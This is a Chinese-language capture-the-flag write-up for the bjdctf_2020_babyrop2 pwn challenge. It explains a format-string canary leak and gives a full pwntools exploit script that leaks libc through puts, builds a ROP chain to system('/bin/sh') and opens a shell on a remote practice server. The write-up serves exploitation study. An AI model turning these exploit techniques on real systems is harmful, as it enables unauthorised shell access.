bjdctf的题目虽然比较简单 但是对知识点的考察还是很明确的
[canary]bjdctf_2020_babyrop2 1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 gift ( ) { char format[8 ]; unsigned __int64 v2; v2 = __readfsqword (0x28u); puts ("I'll give u some gift to help u!" ); __isoc99_scanf ("%6s" , format); printf (format); puts (byte_400A05); fflush (0LL); return __readfsqword (0x28u) ^ v2; }
一开始看到这个的时候 我还以为能够通过fmt漏洞直接泄漏got表的数据 后来发现我太年轻了
1 2 3 4 5 6 pwndbg> stack 25 00 :0000 │ rsp 0x7ffd67bdcac8 —▸ 0x40085c (gift+72 ) ◂— mov edi, 0x400a05 01 :0008 │ rdi 0x7ffd67bdcad0 ◂— 0x407024372540 02 :0010 │ 0x7ffd67bdcad8 ◂— 0x7496a76572998700 03 :0018 │ rbp 0x7ffd67bdcae0 —▸ 0x7ffd67bdcb00 —▸ 0x400930 (__libc_csu_init) ◂— push r1504 :0020 │ 0x7ffd67bdcae8 —▸ 0x400905 (main+43 ) ◂— mov eax, 0
我输入的payload是‘@%7$p@’ + p64(puts_got) 那么%7$p倒是看清楚了 就是got表不见踪影了 最开始以为是环境的问题 换七换八的 最后发现他开了canary
1 2 3 4 5 6 [*] '/home/apple/Desktop/bjdctf_2020_babyrop2' Arch : amd64-64 -little RELRO : Partial RELRO Stack : Canary found NX : NX enabled PIE : No PIE (0x400000 )
canary的位置固定是rbp - 0x8 这个位置刚好是我们输入的got表位置 那么我们只能输出canary的值 然后进行基本的Libc泄漏了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] context.log_level = 'debug' #sh = process ('./bjdctf_2020_babyrop2' ) sh = remote ('node4.buuoj.cn' ,27349 ) elf = ELF ('./bjdctf_2020_babyrop2' ) pop_rdi = 0x400993 pop_rsi_r15 = 0x400991 vuln = 0x400887 puts_got = elf.got ['puts' ] puts_plt = elf.plt ['puts' ] #gdb.attach (sh) payload = '%7$p' sh.recvuntil ("I'll give u some gift to help u!" ) #pause () sh.sendline (payload) #pause () sh.recvuntil ('0x' ) canary = int (sh.recv (16 ),16 ) print canary payload = 'a' * (0x20 - 0x8 ) payload += p64 (canary) payload += 'a' * 0x8 payload += p64 (pop_rdi) + p64 (puts_got) + p64 (puts_plt) + p64 (vuln) sh.recvuntil ('story!\\n' ) sh.sendline (payload) puts_addr = u64 (sh.recv (6 ).ljust (8 ,'\\0' )) libc = LibcSearcher ('puts' ,puts_addr) system_addr = puts_addr - libc.dump ('puts' ) + libc.dump ('system' ) binsh_addr = puts_addr - libc.dump ('puts' ) + libc.dump ('str_bin_sh' ) payload = 'a' * (0x20 - 0x8 ) payload += p64 (canary) payload += 'a' * 0x8 payload += p64 (pop_rdi) + p64 (binsh_addr) + p64 (0x4005f9 ) + p64 (system_addr) + p64 (vuln) sh.sendlineafter ('Pull up your sword and tell me u story!\\n' ,payload) sh.interactive ()
这边注意一下canary泄漏的接收表达 我们的canary接受到时确实是以0x开头的 不过因为不是地址 所以系统默认识别为字符串 所以开头的0x不需要接收进来